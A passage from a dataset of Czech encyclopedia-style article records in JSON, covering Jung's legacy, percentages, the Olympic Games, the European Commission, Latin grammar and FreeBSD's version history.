použitelná a neomezuje se pouze na určité psychologické typy, nýbrž respektuje jakoukoliv povahu člověka. Získala si celou řadu ctitelů a žáků, kteří pokračovali v Jungově díle. V roce 1948 byl založen Institut C. G. Junga jako reakce na vzrůstající zájem o rozvíjení a spolupráci na myšlenkách analytické psychologie. Jung si byl vědom faktu, že jeho objevy jej překročily a z analytické psychologie se stalo hnutí. Dnes se institut orientuje jako tréninkové centrum analytiků a psychoterapeutů, slouží jako místo k setkávání studentů, vědců a učitelů. Obdobně v Londýně byla založena Společnost pro analytickou psychologii. V Brně zas Česká společnost pro analytickou psychologii (ČSAP). Lokální společnosti zastřešuje The International Association for Analytical Psychology. V žebříčku nejcitovanějších psychologů mu autor pořadí přiřadil 23. místo.", "Jungovy výzkumy položily základ typologii osobnosti zvané socionika. V 60. letech 20. století ji vytvořila litevská socioložka Aušra Augustinavičiute. Socionika je dodnes používanou metodou.", "Dne 14. února 1903 si vzal za manželku Emmu Rauschenbachovou (30. března 1882 – 27. listopadu 1955), která pocházela z průmyslnické rodiny v Schaffhausenu. Měli spolu pět dětí: Za svého působení v Burghölzli navázal Jung mimomanželský poměr se Sabinou Spielreinovou. Tato inteligentní ruská židovka studovala v Curychu medicínu a k Jungovi si během psychoanalýzy (přenosu) vytvořila silný citový, v některých ohledech až bizarní vztah. Když na tento neetický poměr přišel Eugen Bleuler, byl Jung z léčebny v Burghölzli propuštěn. Carl Gustav Jung zemřel 6. června 1961 v Küsnachtu a je zde pochován v rodinném hrobě." ] }

{ "title": [ "Historie.", "Značení.", "Neporozumění.", "Změna hodnot v procentech, procentní body.", "Opakované změny hodnoty." ], "section_level": [ "1", "1", "1", "2", "2" ], "content": [ "Ve Starověkém Římě se už dlouho před vznikem desítkové soustavy výpočty často prováděly ve zlomcích 1/100. Například Augustus zavedl daň ve výši 1/100, známou jako \"centesima rerum venalium\". Počítání s těmito zlomky bylo podobné jako počítání s procenty. Se vzrůstající nominální hodnotou peněz ve středověku začaly být výpočty se jmenovatelem běžné a od konce 15. století se stávají obvyklou součástí aritmetických textů. V mnoha z nich se tyto metody používají k výpočtu ztráty a zisku, úrokových sazeb a trojčlence. Od 17. století se v procentech standardně udávají úrokové sazby. Znak % jsou stylizované dvě nuly. Okolo roku 1425 byl podobný symbol (s vodorovnou čárkou místo šikmé) použit ke zkrácení zápisu \"Per cento\" na \"P cento\". Písmeno \"P\" časem vypadlo a užíval se symbol s vodorovnou čárkou (okolo roku 1650).", "V češtině se zápis znaku procento řídí stejnými pravidly jako zápis jiných jednotek. Záleží na tom, zda jde o výraz jednoslovný, nebo o dvě slova (mezera mezi slovy), např. přídavné jméno \"desetiprocentní\" se zapíše \"10%\" (bez mezery mezi číslem a znakem), zatímco číslovka a podstatné jméno \"deset procent\" se zapisuje s mezerou čili \"10 %\". Mezinárodně (i na Slovensku) se vždy používá s mezerou jako všechny jednotky (kromě jednotek rovinného úhlu). Mezeru vyžaduje i norma ČSN ISO 31-0 \"Veličiny a jednotky\", přesto se v typografické praxi někde nepoužívá. Symbol vyjadřuje číslo 0,01 a vždy je zásadní udávat, ke které bezrozměrné veličině se procento vztahuje. Soustava SI také zakazuje použít centi bez následné jednotky.", "Mnoha lidem činí použití procent problémy, ať už z jejich nepochopení, z nepozornosti, ale především kvůli nepřiměřené snaze o stručnost (např. úroková sazba se běžně vztahuje k roku, ale je nutné časový úsek vždy uvést, jako je to např. u RPSN). Ale už samotné vyjadřování v procentech může být důvodem k horším výsledkům. Většina chyb pochází z toho, že není správně vyjádřeno nebo pochopeno, z jaké základní hodnoty se procentní podíl počítá. Při počítání s procenty je třeba vždy mít na paměti, o procenta jakého základu se jedná (podobně jako při práci se zlomky je třeba znát jak čitatele, tak jmenovatele těchto zlomků).", "Pokud se má vyjádřit změna nějakého údaje uvedeného v procentech, je třeba zřetelně rozlišit, jestli se tato změna vyjadřuje v procentech \"původní základní hodnoty\", nebo v procentech \"procentní hodnoty\". Např. pokud v situaci, kdy sazba úroků činí 20 %, někdo řekne, že „úroky vzrostou o deset procent“ (a neudá, čeho procent – stejně jako u ekvivalentního výroku „úroky vzrostou o deset setin“), může to znamenat odlišné věci: Tyto významy jsou evidentně zcela jiné, což může vést k některým matoucím nebo chybným vyjádřením, pokud není jasné z jaké základní hodnoty se vychází. Zejména v ekonomice a u ekonomických ukazatelů se místo důsledného uvádění základu používá k rozlišení původně anglický termín „procentní bod“, používaný pro aritmetický rozdíl dvou hodnot vyjádřených v procentech stejného základu. Ve větě „úroky vzrostou o deset procentních bodů“ je pak myšleno zvýšení o deset procent původního základu (ve výše uvedeném příkladu o druhou variantu). Pro relativní změnu procent se pak někdy používá pojem „procentní podíl“. Ve finanční oblasti se ještě vyskytuje bazický bod. Zavádění \"procentních bodů\" je tedy snahou o odstranění možných nedorozumění tím, že má odkazovat vždy na stejný základ. Podle odpůrců tohoto pojmu se ale jedná o zbytečný novotvar, který ani nemá svou obdobu u promile či ppm. Alternativou je důsledné uvádění základu, ze kterého se procenta počítají, a to ve všech situacích, kdy není ze souvislosti na první pohled patrné, co představuje základ. Oznámení ve výše uvedeném příkladu pak zní: Záměna nehrozí při uvádění konečného procentního podílu – je pak zřejmé, že základ pro počítání úrokové sazby je dlužná/uložená částka. V uvedeném příkladu:", "Na první pohled by se např. mohlo zdát, že pokud cena nejprve o 10 % vzroste, načež o 10 % klesne, bude výsledkem opět původní cena. Tak to ovšem není (jde opět o nedůsledné uvádění základu). Druhých deset procent se totiž zpravidla počítá \"ze zvýšené hodnoty\", takže výsledkem bude cena o něco nižší než původní (konkrétně v tomto případě 99 % původní ceny). Přesněji řečeno, pokud se nejprve původní cena \"c\" o \"x\" procent zvýší, načež se o \"x\" procent sníží, bude výsledná cena rovna Obdobně pokud cena klesne o 80 %, nic nebrání tomu, aby klesla \"o dalších 80 %\" (a přesto nebude záporná). A naopak, jakýkoli její nárůst nezabrání tomu, aby po 100% poklesu spadla na nulu." ] }

{ "title": [ "Historie.", "První krůčky na cestě k novodobým hrám.", "Novořecké olympijské hry.", "Novodobé olympijské hry.", "Olympijská myšlenka.", "Olympijská přísaha.", "Olympijské symboly.", "Olympijské kruhy.", "Olympijský ceremoniál.", "Olympijské hry mládeže.", "Olympiády v přeneseném významu." ], "section_level": [ "1", "2", "2", "2", "1", "1", "1", "2", "1", "1", "1" ], "content": [ "", "Antické olympijské hry byly nejvýznamnější, největší a nejstarší z všeřeckých her, kterých se účastnili pouze muži. Ženy měly hry zvané héraia podle bohyně Héry. Konaly se od roku 776 př. n. l. až do roku 393 našeho letopočtu. Roku 394 zakazuje olympijské hry zvláštním ediktem Theodosius I.. V roce 426 pak byl vydán rozkaz ke zbourání chrámů a soch v Olympii. Dílo zkázy bylo dokonáno zemětřeseními v letech 522 a 551. První krůčky na dlouhé cestě k prvním novodobým hrám patří řeckým učencům z Byzance, kteří ve 14. a 15. století působili na italských univerzitách, a jejich žákům. Pietro Paolo Vergerio (1348–1419), profesor padovské univerzity, byl první o kom je známo, že vyhlásil \"právo muže na cvičení těla\". Vittorino Ramboldini de Feltre (1378–1446) šel ještě dál, když v Mantově založil tělocvičnou školu. První novodobá práce o olympijských hrách vyšla roku 1430 a byla dílem florentského básníka Matea Palmieriho. Roku 1491 vydal Virgilius Polydorus knihu \"O posvátných hrách starých Řeků\" a roku 1569 vychází v Benátkách kniha významného humanisty Hieronyma Mercuriala \"O gymnastickém umění\". I když si tyto činnosti nekladly za cíl znovuobnovení olympijských her, byly důležitým stupínkem na cestě k oživení tradice pěstování kultury těla. První novodobé sportovní hry nesoucí označení \"olympijské\", byly \"Anglické olympijské hry\", které na svém venkovském sídle v Cotswoldu uspořádal roku 1604 Robert Dover. Hry podporoval i velký příznivec a propagátor sportu, král Jakub I. Hry se měly konat každý rok za letního slunovratu, na programu byly běžecké disciplíny, hod kladivem, míčové hry, šerm holemi a zápas. Mohli se zúčastnit jak šlechtici, tak prostí občané, některých disciplín dokonce i ženy. Hry se dočkaly 40 ročníků a skončily nejpozději se smrtí svého zakladatele. První, kdo vystoupil s myšlenkou obnovení olympijských her, byl v roce 1760 německý pedagogický reformátor Johann Bernhard Basedow. Dalším velkým propagátorem vzkříšení olympijských her byl Johann Christoph Friedrich Gutsmuths. Pod jeho vlivem uspořádaly některé tělovýchovné organizace v několika německých městech sportovní klání pod označením \"olympijské hry\".", "15. listopadu 1859 se v Athénách 20 000 diváků stalo svědky sportovních klání 300 soutěžících na prvních novořeckých olympijských hrách. Hlavní zásluhu na jejich uspořádání měl hrdina osvobozovacích bojů, Evangelos Zappas, který jejich organizaci věnoval nejen značné úsilí, ale i celý svůj majetek. Myšlenka uspořádat novořecké olympijské hry se zrodila v Pyrgu. Bylo to krátce po osvobození Řecka z turecké nadvlády, kdy se místní městská rada rozhodla pro obnovení her přímo v Olympii. Měly se konat každé čtyři roky 25. března, tj. na Den řecké nezávislosti. Nepříznivé podmínky v Olympii (bažinaté území plné komáru představovalo velkou hrozbu malárie) vedly k tomu, že se nakonec hry konaly až v listopadu a v Aténách. Hry se pak konaly ještě v letech 1870, 75 a 89.", "Pierre de Coubertin se několik let věnoval studiu tělovýchovných systémů v anglosaském světě. Své poznatky zpracoval v několika knihách a zároveň usiloval o jejich začlenění do francouzského výchovného systému. Když viděl, že jeho literární činnost nevzbudila dostatečný zájem, rozhodl se přejít k činům. V roce 1888 se rozhodl, že obnoví olympijské hry. Okamžitě začal pro tento záměr shánět podporu v okruhu svých známých a přátel a 25. listopadu 1892 vystoupil s touto myšlenkou veřejně na schůzi k 5. výročí založení \"Francouzské unie atletických sportů\". V roce 1896 se tak konaly v Aténách první novodobé olympijské hry.", "Zformuloval ji Pierre de Coubertin ve svém díle \"Antický ideál tělesné krásy a duchovní dokonalosti\" – tzv. kalokagathía – posvátný mír (ekecheiría), slavnostní obřady při zahájení antických olympijských her ožívají v nové formě při dnešních OH obohaceny o požadavek rovnoprávnosti všech sportovců bez rasové, politické a náboženské diskriminace, o požadavek demokracie a internacionalismu. Dnešní olympijská myšlenka je v podstatě vyjádřena v základním článku Olympijské charty. Antické olympijské hry avšak byly méně idealistické.", "Slavnostní slib, který skládají:", "Olympijské symboly a znaky vyjadřují olympijské myšlenky a univerzálnost olympijského hnutí, jeho úkoly a cíle. Jejich přesnou podobu i způsoby a pravidla pro jejich používání přesně definuje Olympijská charta. Mezi olympijské symboly patří:", "Největším olympijským symbolem jsou olympijské kruhy, které jsou vzájemně propojeny. Pět kruhů představuje pět kontinentů spojených olympijskou myšlenkou, šest barev (včetně bílého podkladu) barvy všech národů světa. Existuje obecný názor, že kruhy představují jednotlivé kontinenty, ale není tomu tak. Baron de Coubertin vnímal kruhy a barvy jako dva nezávislé symboly a MOV výslovně uvádí, že žádný z kruhů nereprezentuje konkrétní kontinent. Olympijské kruhy jsou součásti olympijské vlajky, která má bílý podklad a v jejím středu je umístěno pět olympijských kruhů: Vlajka poprvé zavlála při VI. olympijském kongresu v roce 1914, na olympijském stadiónu poprvé v roce 1920. Na OH se vyvěšuje vlajka, kterou v roce 1920 věnovaly Antverpy, na ZOH vlajka, kterou v roce 1952 věnovalo Oslo. Součástí historické vlajky je i olympijské heslo \"Citius, Altius, Fortius\" (\"Rychleji, výše, silněji\"), které vyjadřuje cíl olympijského hnutí, úsilí o neustálý pokrok. Pierre de Coubertin toto heslo převzal od svého přítele, abbé Didona. Nejvýznamnější symboly olympijského hnutí jsou podle čl. 6 olympijské charty výlučným vlastnictvím MOV. S výjimkou oficiálního olympijského dne nesmí NOV užívat olympijské symboly bez jeho výslovného povolení. Nejvyšší symboly se nesmí použít ke komerčním účelům. Kombinací olympijských kruhů s jinými znaky nebo atributy (např. se státní vlajkou) vznikají emblémy, znaky NOV a organizačních výborů OH (ZOH), jejichž jsou vlastnictvím, musí však být schváleny MOV. Nově používaným symbolem OH (ZOH) jsou maskoty, které mají vyjadřovat národní tradici hostitelské země.", "Olympijský ceremoniál je soubor předepsaných obřadů pro zahájení a ukončení OH a pro rozdílení cen, konající se v hlavním olympijském stadionu. Olympijský ceremoniál se stal hlavním vzorem pro podobné akty řady mezinárodních sportovních soutěží.", "Mezinárodní olympijský výbor od roku 2010 organizuje také olympijské hry mládeže, a to jak letní či zimní, které jsou určeny dětem a mládeži.", "Olympiádami se často nazývají i různé místní nebo školní sportovní nebo i jiné soutěže napodobující skutečnou olympiádu. Tradiční soutěží je šachová olympiáda. Názvem olympiáda byl inspirován i název československých spartakiád. Slova \"Olympiáda\" a \"Olympijský\" (a slova odvozená), stejně jako symboly pěti kruhů a olympijské pochodně, jsou chráněna zákonem a nesmí se používat bez speciálního povolení Olympijského výboru. Toto povolení má např. Ministerstvo školství, a smí se používat pro vzdělávací znalostní a dovednostní soutěže konané ve spolupráci se školami: například matematická olympiáda, fyzikální olympiáda, chemická olympiáda, astronomická olympiáda atd." ] }

{ "title": [ "Složení, ustanovení a odpovědnost parlamentu.", "Počet komisařů.", "Generální ředitelství.", "Přehled komisí.", "Jean-Claude Juncker.", "Ursula von der Leyenová." ], "section_level": [ "1", "2", "2", "1", "2", "2" ], "content": [ "Komise (kolegium komisařů) je složena z komisařů. Komisaři pocházejí z členských států a jsou těmito státy do své funkce navrhováni. Jsou zcela nezávislí – nesmějí přijímat instrukce od státu, ze kterého pocházejí, ani od jakéhokoliv jiného státu a jsou povinni prosazovat výhradně zájmy unie. Komise má rovněž sedm místopředsedů. V čele stojí předseda navržený Evropskou radou a následně schválený volbou Evropským parlamentem, v níž musí získat prostou většinu hlasů poslanců. Ostatní členové (komisaři) jsou společně jmenováni Radou Evropské unie a předsedou Evropské komise, který zcela sám přiděluje komisařům resorty, následně komisaři předstupují před výbory parlamentu a parlament jako celek, kde je poslanci zkoumána jejich kompetentnost, nakonec je komise jako celek schválena volbou Evropským parlamentem. Komise je odpovědná Parlamentu. Poslanci Evropského parlamentu mají právo komisaře i předsedu komise interpelovat a interpelovaní mají povinnost písemně nebo osobně odpovědět, zpravidla je k tomu vyhrazeno každé úterý. Komise musí parlamentu pravidelně předkládat zprávy o svojí činnosti. Jediný způsob, jakým může být komise odvolána, je vyhlášení nedůvěry Evropským parlamentem dvoutřetinovou většinou jeho poslanců.", "Počet komisařů prodělal od roku 2004 několik změn: Poznámka: Podle Lisabonské smlouvy měl od 1. listopadu 2014 počet členů Komise původně odpovídat dvěma třetinám počtu členských států, ovšem v květnu 2013 Evropská rada rozhodla, že se Komise bude nadále skládat z počtu členů, který se rovná počtu členských států.", "Komisař spravuje jeden nebo několik resortů (generálních ředitelství), běžně označovaných zkratkou DG (nebo v češtině GŘ). Generální ředitelství jsou odborné úřady, z nichž každý má na starosti jednu z oblastí, do kterých zasahují unijní politiky (např. energie, životní prostředí, daně a cla, výzkum). Ředitelství zaměstnávají úředníky, překladatele, tlumočníky, ale též odborníky, kteří zajišťují odborné posudky a analýzy legislativních návrhů, které se Komise chystá předložit. Jedním z ředitelství je i Generální sekretariát Evropské komise, zajišťující každodenní chod Komise, její komunikaci s veřejností a také kontrolu uplatňování evropských právních předpisů. Generální ředitelství mají strukturu podobnou ministerstvům a v jejich čele stojí generální ředitelé, kteří jsou kariérními úředníky.", "", "Junckerova komise úřadovala v letech 2014–2019. Předsedou se stal bývalý lucemburský premiér Jean-Claude Juncker. Po jednom zástupci do komise vyslal každý z dvaceti osmi členských států. Vedoucím kanceláře Juncker jmenoval bývalého ředitele volební kampaně a šéfa týmu přechodného období, Martina Selmayra, který byl během předsednictví označen za „nejmocnějšího šéfa kanceláře v Evropské unii vůbec.“ V březnu 2018 se Selmayr stal generálním tajemníkem komise.", "Komise Ursuly von der Leyenové ve funkci působí od 1. prosince 2019. V komisi mají zástupce všechny členské země až na Velkou Británii, která svého komisaře nenavrhla kvůli očekávanému brexitu. V komisi zasedá 14 mužů a 13 žen. Byla schválena 461 europoslanci." ] }

{ "title": [ "Latinská abeceda.", "Různé typy latinského jazyka.", "Výslovnost.", "Latinská gramatika.", "Latinské pády.", "Substantiva.", "Adjectiva.", "Verba." ], "section_level": [ "1", "1", "1", "1", "2", "2", "2", "2" ], "content": [ "Prapůvod latinky je v souhláskovém fénickém písmu, ze kterého vzniklo hláskové řecké písmo (alfabeta). Obyvatelé Latia své písmo odvodili z etruského písma, které si vytvořili pod vlivem alfabety sousední Etruskové. Původní latinská abeceda měla 20 písmen: A, B, C, D, E, F, H, I, K, L, M, N, O, P, Q, R, S, T, V, X. Některá písmena označovala dvě odlišné hlásky, proto se později začala používat další písmena: G dříve psané pomocí C, J psané pomocí I a U psané jako V. Velmi vzácné je písmeno K běžně psané C. Písmena Y a Z se používají pouze ve slovech přejatých z řečtiny pro přepis ypsilonu a zéty. Pro dvojhlásky AE a OE se někdy používají ligatury Æ a Œ. Délka samohlásky se označuje zpravidla jen u didaktických textů (např. ve slovníku) pomocí diakritického znaménka v podobě vodorovné čárky na hláskou: Ā značí dlouhé á. V případě potřeby se značí i krátká samohláska obloučkem: Ă. Ve starověkém Římě se používala jen majuskule, minusky (malá písmena) vznikly až ve středověku. Dnes se malá písmena běžně používají, velké písmeno se píše na začátku věty a u vlastních jmen a slov od nich odvozených. V klasické latině také nebyla běžná interpunkční znaménka. Na latinský pravopis mohou mít vliv také místní či oborové zvyklosti.", "Latina, jazyk používaný po více než tisíc let, se vyvíjel a dnes se třídí do několika skupin podle vývoje a sféry použití. Tyto skupiny však nejsou často mezi sebou přesně vymezitelné.", "V dlouhé historii, kdy latina již nebyla národním jazykem, ale mezinárodním, církevním a odborným, se výslovnost latiny v jednotlivých zemích odlišila. Kromě toho, že výslovnost některých hlásek se přibližuje výslovnosti nejbližší podobné hlásky vyskytující se v jazyce mluvčího (např. české, německé a anglické „r“, otevřenost samohlásek atd.), se liší například výslovnost \"c\" před \"e\", \"i\", \"y\", \"ae\", \"oe\" nebo \"eu\" (v české latině se \"c\" v těchto případech čte tradičně jako \"c\", v jiných verzích latiny častěji jako \"č\"), obdobně \"g\" před uvedenými samohláskami se v některých verzích latiny čte jako \"dž\", zatímco v české latině se \"g\" čte vždy jako \"g\". V některých verzích latiny se \"s\" v některých pozicích čte jako \"z\". O výslovnosti v jednotlivých historických fázích se vedou odborné spory, předpokládá se však, že původně bylo písmo důsledněji hláskové (tedy například \"Cicero\" mohl být původně čten jako \"Kikero\"). Jinak se latinský zápis hlásek velmi podobá českému s těmito odlišnostmi: Dvojslabičná slova mají přízvuk na první slabice. Víceslabičná slova mají přízvuk na předposlední slabice, pokud je tato slabika dlouhá přirozeně nebo polohou, jinak na třetí slabice od konce. Přirozeně dlouhá slabika je taková, která obsahuje dlouhou samohlásku nebo dvojhlásku. Slabika je dlouhá polohou, jestliže po krátké samohlásce následuje skupina nejméně dvou souhlásek. Přízvuk ani délka se běžně v textu neoznačuje, v učebnicích a slovnících se délka značí vodorovnou čárkou nad písmenem (tzv. macron - např. ā; krátká slabika se značí obloučkem, tzv. breve, např. ă) a přízvuk šikmou čárkou (stejnou, jaká se používá v českých dlouhých samohláskách).", "", "Latina má na rozdíl od češtiny pouze 6 pádů.", "Je latinský název pro podstatná jména. Substantiva jsou rozdělena do pěti deklinací. O zařazení do příslušné deklinace rozhoduje koncovka genitivu singuláru.", "Adjektiva (přídavná jména) se skloňují ve shodě se substantivem podle první a druhé nebo podle třetí deklinace. Stupňování se provádí standardními koncovkami, případně nepravidelně, např.: \"bonus, melior, optimus\" (dobrý, lepší, nejlepší), \"malus, peior, pessimus\" (špatný, horší, nejhorší).", "\"Verba\" je latinský název pro slovesa. Pravidelná latinská slovesa jsou rozdělena do čtyř konjugací. O zařazení do příslušné konjugace rozhoduje koncovka aktivního infinitivu. V latině jsou stejně jako v češtině tři osoby a dvě čísla: singulár a plurál. Rozlišují se časy: přítomný prézens, minulé: perfektum, imperfektum, plusquamperfektum a budoucí futurum I, futurum II. Dále se rozlišují způsoby: indikativ (oznamovací), konjunktiv, imperativ (rozkazovací) a infinitiv a dva rody: aktivum a pasivum. Rozdíl mezi perfektem a imperfektem odpovídá rozdílu mezi dokonavým a nedokonavým videm. Plusquamperfektum a futurum II vyjadřuje děj předcházející. Konjunktiv je způsob, který se v češtině nevyskytuje, často se překládá kondicionálem (podmiňovacím způsobem), který se naopak nevyskytuje v latině. Ve slovníku bývají uvedeny čtyři tvary slovesa, které umožňují podle vzorů odvodit všechny ostatní tvary. Například: První dva tvary, první osoba singuláru indikativu prézentu aktiva (chválím) a infinitiv prézentu aktiva (chválit), slouží k určení konjugace a prézentního kmene (\"laud-\"). Třetí tvar je první osoba singuláru indikativu perfekta aktiva (pochválil jsem) a určuje kmen pro tvary perfekta (\"laudāv-\"). Poslední tvar je supinum, od kterého se odvozují tvary pasiva (kmen \"laudāt-\"). Někerá slovesa mají kmeny utvořené nepravidelně, například sloveso \"ferō, ferre, tulī, lātum\" (nést). Deponentní slovesa mají pouze tvary pasiva, které však mají význam činného rodu." ] }

{ "title": [ "Historie a vývoj.", "FreeBSD 1.", "FreeBSD 2.", "FreeBSD 3.", "FreeBSD 4.", "FreeBSD 5.", "FreeBSD 6.", "FreeBSD 7.", "FreeBSD 8.", "FreeBSD 9.", "FreeBSD 10.", "FreeBSD 11.", "FreeBSD 12.", "Přenositelnost.", "Bezpečnost.", "Binární kompatibilita.", "Linux.", "Windows.", "Solaris (SysVR4).", "Licence.", "Distribuce.", "Literatura.", "Externí odkazy." ], "section_level": [ "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "2", "2", "2", "1", "1", "1", "1" ], "content": [ "Vývoj FreeBSD odstartoval roku 1993 převzetím zdrojových kódů 386BSD poté, co nebyl dlouho vyvíjen. Ale díky obavám o legalitu všech zdrojových kódů použitých v 386BSD a následující soudní při mezi Novellem (tehdejším vlastníkem Copyrightu UNIX) a Kalifornskou Univerzitou v Berkeley ve FreeBSD došlo k přepsání většiny systému ve verzi FreeBSD 2.0 v lednu roku 1995 s použitím zdrojových kódů verze 4.4BSD-Lite Kalifornské univerzity v Berkeley. Anglickojazyčný FreeBSD manuál obsahuje více historických informací o zrození FreeBSD. Na počátku FreeBSD použilo jako své logo FreeBSD démona, avšak roku 2005 byla uspořádána soutěž o nové logo. 8. října 2005 soutěž skončila a návrh Antona K. Gurala byl zvolen jako nové FreeBSD logo. FreeBSD démon však nadále zůstává maskotem projektu FreeBSD.", "Vydáno v listopadu 1993. 1.1.5.1 bylo vydáno v červenci 1994.", "2.0-RELEASE bylo vyhlášeno 22. listopadu 1994. Konečné vydání FreeBSD 2, 2.2.8-RELEASE, bylo vyhlášeno 29. listopadu 1998. FreeBSD 2.0 byla první verzí FreeBSD, která byla legálně nárokována bez AT&T Unixového kódu se souhlasem Novell. 2.2.9-RELEASE byl vydáno 1. dubna, 2006 jako plně funkčí April Fools' Day prank. Pravděpodobně nejvýznamnějším zlepšením FreeBSD 2.0 bylo obnovení originálního Mach systému virtuální paměti, který byl optimalizován pro práci pod vysokým zatížením a vytvoření systému FreeBSD portů, který učinil stahování, sestavení a instalaci softwaru třetích stran velmi jednoduché.", "FreeBSD 3.0-RELEASE bylo vydáno 16. října 1998 a přineslo mnoho změn: přechod na ELF formát binárních souborů, započetí podpory Symetrický SMP systémů a 64bitové Alpha [ˈælfə] platformy. Finální release, 3.5-RELEASE, byl vydán 24. června 2000. Toho času byla větev 3.X několikrát kritizována, protože mnoho změn nebylo evidentně prospěšných a postihly výkon, nicméně byl to potřebný krok pro vyvinutí toho, co se mělo stát velmi úspěšnou větví 4.X.", "4.0-RELEASE se objevil v březnu 2000 a poslední 4-STABLE vydání bylo 4.11 v lednu 2005 podporováno do 31. ledna 2007. FreeBSD 4 byl pochválen za svou stabilitu, byl oblíbeným operačním systémem pro poskytovatele internetových služeb a poskytovatele webhostingu během první dot - com bublina, a je považováno za jeden z nejstabilnějších a nejvýkonnějších operačních systémů celé linie Unixu. Mezi nové funkce FreeBSD 4 byl představen kqueue (2) (který je nyní součástí jiných hlavních systémů BSD) a Jails, způsob běhu procesů v samostatných prostředích. Verze 4.8 byla forknuta Matt Dillonem který vytvořil DragonFly BSD.", "Poslední a finální vydání FreeBSD z větve 5-STABLE je 5.5 a bylo vydáno v květnu 2003. Vývojáři FreeBSD spravují vždy (nejméně) dvě simultánně vyvíjené větve. -STABLE větev FreeBSD je vytvářena pro každé hlavní číslo verze, ze kterého vydání vychází každých 4–6 měsíců. Poslední 4-STABLE vydání FreeBSD je 4.11, které je poslední z vydání 4-STABLE. První 5-STABLE vydání bylo 5.3 (5.0 až 5.2.1 byly vyjmuty z -CURRENT). První 6-STABLE vydání bylo 6.0. Ve vývojové větvi -CURRENT je nyní 7.0-CURRENT, které obsahuje agresivní nové vlastnosti kernelu a userspace. Je-li vlastnost dostatečně STABLE a vyspělá, je eventuálně zpětně portována (MFC – Merge from CURRENT ve slangu vývojářů FreeBSD) do -STABLE verze. Vývojový model FreeBSD je podrobně popsán v článku Niklase Saerse A project model for the FreeBSD Project. Velkým rozdílem ve FreeBSD 5 byla velká změna v nízkoúrovňovém mechanismu kernelových zámků pro zajištění lepší podpory symetrického multiprocessingu (SMP), uvolňující kernel z MP zámku, někdy označovaného jako „Giant Lock“. Nyní je možné spouštět současně více než jeden proces v kernel módu. Další hlavní změny zahrnují m:n řešení vláken zvané KSE (Kernel Scheduled Entities), které je nyní výchozí knihovnou vláken (pthreads) počínaje verzí 5.3 (první 5-STABLE vydání). Terminologie m:n, kde m a n jsou malá celá čísla znamená, že m vláknům v živatelském prostoru odpovídá n vláken kernelovém prostoru. Mnoho nových vlastností se vztahuje k bezpečnosti. Robert Watson odstartoval projekt TrustedBSD za účelem přidání bezpečnostní funkcionality do FreeBSD. Rozšiřitelný framework mandatorní kontroly přístupu (TrustedBSD MAC framework), Access Control Listy (ACL) a nový souborový systém UFS2 pochází z TrustedBSD. Některá funkcionalita TrustedBSD byla stejně tak integrována i do operačních systémů OpenBSD a NetBSD. FreeBSD také významně změnilo vrstvu blokového vstupu/výstupu představením GEOM modulárního transformačního frameworku diskových I/O požadavků přispěného Poulem-Henningem Kampem. GEOM umožňuje jednoduché vytváření mnoha druhů funkcionality, jako například zrcadlení (gmirror) a šifrování (gbde). Poslední vydání FreeBSD 5.4 potvrdilo pověst větve FreeBSD 5.x jako vysoce stabilního a dobře sloužícího vydání.", "FreeBSD 6.0 bylo uvolněno 4. listopadu 2005. Finální FreeBSD 6 release byla verze 6.4, 11. listopadu 2008. Tyto verze rozšířily práci na optimalizaci SMP a vláken a další práci na pokročilých funkcích 802.11, auditování bezpečnostních událostí TrustedBSD, významná vylepšení výkonu síťového zásobníku, plně preemptivní jádro a podpora čítačů výkonu hardwaru (HWPMC). Mezi hlavní úspěchy těchto verzí patří odstranění zámku Giant z VFS, implementace volitelně výkonnějšího libthr knihovny s vlákny 1: 1 a přidání implementace auditu základního bezpečnostního modulu (BSM) s názvem OpenBSM, který byl vytvořen projektem TrustedBSD (na základě implementace BSM nalezené v open source Darwin) a vydané na základě ve stylu BSD licence]", "FreeBSD 7.0 bylo uvolněno 27. února 2008. Finální FreeBSD 7 release byla verze 7.4, 24. února 2011. Nové funkce byli přidány SCTP, UFS journaling, experimentální port Sun's ZFS souborového systému, GCC4, vylepšená podpora ARM, jemalloc (memory allocator optimalizován pro paralelní výpočty, na který byl naportován Firefox 3), a major aktulizace and optimizations relating to network, audio, and SMP performance. Benchmarky vykázaly významná zlepšení výkonu ve srovnání s předchozími vydáními FreeBSD i Linuxem. Nový ULE scheduler byl mnohem vylepšen, ale bylo rozhodnuto odeslat verzi 7.0 se starším plánovačem 4BSD. Ve verzi FreeBSD 7.1 byl ULE výchozí pro architektury i386 a AMD64. DTrace podpora byla integrována ve verzi 7.1, a NetBSD a FreeBSD 7.2 přinesla podporu pro multi-IPv4/IPv6 jails. Podpora v kodu DEC Alpha architektury (podporováno od verze FreeBSD 4.0) byla odstraněna ve FreeBSD 7.0.", "FreeBSD 8.0 byl vydán oficiální release 25. listopadu 2009. FreeBSD 8 vyšla z této větve v srpnu 2009. Verze představila superpages, Xen DomU podporu, network stack virtualization, stack-smashing protection, TTY layer rewrite, aktulizace a mnohá vylepšení ZFS podpory, nový USB stack s USB 3.0 a xHCI podpora přidána FreeBSD 8.2, multicast aktulizace IGMPv3, byl přepsán NFS client/server introducing NFSv4, a AES akcelerace pro Intel procesory (přidáno od verze FreeBSD 8.2). Zahrnutí vylepšeného mmap() rozšíření umožňují implementaci 64-bit Nvidia display driver pro x86-64 architekturu Zásuvné congestion control framework, a podpora možnosti používat DTrace pro aplikace spuštěné pod Linux emulation byla přidána do FreeBSD 8.3. FreeBSD 8.4, release vydáno 7. června 2013.", "FreeBSD 9.0 bylo vydáno 12. ledna 2012. Klíčové nové funkce v release, nový instaler (bsdinstall), UFS journaling, ZFS version 28, userland DTrace, NFSv4-compatible NFS server a client, USB 3.0 podpora, podpora for běh na PlayStation 3, Capsicum sandboxing, and LLVM 3.0 v base system. Kernel a base system mohl být kompilován s Clang, ale FreeBSD 9.0 stále použivala GCC4.2 defaultně. PlayStation 4 herní konzole používá odvozenou verzi FreeBSD 9.0, jak Sony Computer Entertainment nazval \"Orbis OS\".", "20. ledna 2014, FreeBSD Release Engineering Team oznámila vydání FreeBSD 10.0-RELEASE. Mezi klíčové věci patří odstranění GCC ve propěch Clang, nová iSCSI implementace, VirtIO ovladače out-of-the-box KVM podpora, a FUSE implementace. \"FreeBSD 10.1-RELEASE\" bylo oznámeno 14. listopadu 2014, a bylo podporováno po delší dobu do 31 December 2016. Následující 10.2-RELEASE měl EoL ve stejný den. V říjnu 2017 byl vydán 10.4-RELEASE (finální release z této větve) byla oznámena a podpora řady 10 byla ukončena v říjnu 2018.", "10. října 2016, FreeBSD Release Engineering Team oznámil vydání FreeBSD 